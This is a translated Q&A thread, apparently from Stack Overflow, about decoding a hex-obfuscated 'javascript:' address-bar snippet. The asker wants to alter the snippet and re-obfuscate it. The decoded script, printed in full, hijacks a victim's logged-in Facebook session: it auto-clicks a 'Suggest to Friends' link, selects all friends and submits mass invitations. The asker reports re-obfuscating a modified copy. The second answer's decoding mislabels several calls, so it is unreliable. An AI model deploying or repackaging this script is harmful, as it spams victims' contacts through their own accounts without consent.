2010-04-17 159 views
0

我有出現javascript代碼進行加密:Javascript在地址欄中,我如何解碼?

javascript:var _0xe788=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x31\x36\x38\x37\x38\x34\x39\x34\x39\x39\x32\x36\x35\x37\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x38\x32\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x36\x30\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"];var variables=[_0xe788[0],_0xe788[1],_0xe788[2],_0xe788[3],_0xe788[4],_0xe788[5],_0xe788[6],_0xe788[7],_0xe788[8],_0xe788[9],_0xe788[10],_0xe788[11],_0xe788[12],_0xe788[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function(){fs[variables[10]]();} ,4000); void setTimeout(function(){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0xe788[14]); 

我也有類似的情況,我聽說它可能是十六進制。我一直在做一些谷歌研究,並發現了一些Hex的在線解碼器,但他們似乎都在拼命解密代碼。

我基本上需要破譯這段代碼,改變一些變量,並重新包裝它,究竟是如何找到它,但取代了一個URL。我怎麼去解決這個問題?有免費的在線工具嗎?

非常感謝。

回答

2

我從代碼的開頭刪除了javascript:,並將"替換爲",因爲這明顯取自HTML標記的內部。然後,我跑到它通過Online JavaScript Beautifier,得到了這一點,這應該是多一點幫助:

var variables = ['innerHTML', 'app4949752878_body', 'getElementById', '<a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&amp;node_id=116878494992657" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>', 'suggest', 'MouseEvents', 'createEvent', 'click', 'initEvent', 'dispatchEvent', 'select_all', 'sgm_invite_form', '/ajax/social_graph/invite_dialog.php', 'submitDialog']; 
void(document[variables[2]](variables[1])[variables[0]] = variables[3]); 
var ss = document[variables[2]](variables[4]); 
var c = document[variables[6]](variables[5]); 
c[variables[8]](variables[7], true, true); 
void ss[variables[9]](c); 
void setTimeout(function() { 
    fs[variables[10]](); 
}, 4000); 
void setTimeout(function() { 
    SocialGraphManager[variables[13]](variables[11], variables[12]); 
}, 5000); 
void(document[variables[2]](variables[1])[variables[0]] = '<iframe src="google.com" style="width: 820px; height: 600px;" frameborder=0 scrolling="no"></iframe>'); 
+0

謝謝你,我只是改變你的代碼,並使用在線混淆器對其進行混淆。 – DoMx 2010-04-17 15:03:27

+0

我希望該網站有一個「清除」按鈕! – Pointy 2010-04-17 15:11:16

+0

@Pointy:ctrl + a選擇全部,然後退格。或cmd + a然後在Mac上刪除。 – 2010-04-17 15:16:36

1
void (document.getElementById('app4949752878_body').innerHTML='<a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&amp;node_id=116878494992657" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>';); 
var ss=document.getELementById('suggest'); 
var c=document.createEvent('MouseEvents'); 
c.dispatchEvent('click',true,true); 
void ss.select_all(c); 
void setTimeout(function(){fs.dispatchEvent();} ,4000); 
void setTimeout(function(){SocialGraphManager.submitDialog('sgm_invite_form','/ajax/social_graph/invite_dialog.php');} ,5000); 
void (document.getElementById('app4949752878_body').innerHTML='<iframe src="google.com" style="width: 820px; height: 600px;" frameborder=0 scrolling="no"></iframe>'); 
0

這裏有一箇舊的網頁我寫了很長一段時間以前,對於處理小書籤的方便:http://gutfullofbeer.net/escape.html

這真的很微不足道,但我每隔一段時間就會找到它的用處。 (不會直接幫助該代碼,但是,因爲它不會撤消那個愚蠢的十六進制編碼的東西。)